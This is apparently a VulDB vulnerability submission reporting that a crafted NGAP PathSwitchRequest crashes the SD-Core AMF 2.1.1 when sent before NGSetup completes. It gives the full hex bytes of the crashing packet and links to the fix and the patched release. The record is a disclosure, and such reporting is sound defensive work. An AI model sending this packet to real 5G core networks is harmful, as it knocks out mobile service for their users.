| Title | Linux Foundation Projects SD-Core 2.1.1 Memory Corruption |
|---|
| Description | Sending a PathSwitchRequest without establishing a valid UE Context crashes the AMF
Send the following packet before NGSetup is completed.
00 19 80 33 00 00 04 00 55 00 02 00 00 00 0A 40 06 80 20 98 A0 C7 6D 00 79 00 0F 40 3B 7D 57 B8 A3 4C E0 80 3B 7D 57 00 00 07 00 77 00 09 05 5E 44 78 D0 A4 FB C0 24
Developers askowneldged the issue and fixed it.
Fix:
https://github.com/omec-project/amf/pull/666
Release:
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa |
|---|
| Source | ⚠️ https://github.com/omec-project/amf/issues/680 |
|---|
| User | shovon0203 (UID 96191) |
|---|
| Submission | 04/23/2026 21:22 (3 months ago) |
|---|
| Moderation | 05/22/2026 19:45 (29 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 365245 [omec-project amf up to 2.1.1 PathSwitchRequest memory corruption] |
|---|
| Points | 20 |
|---|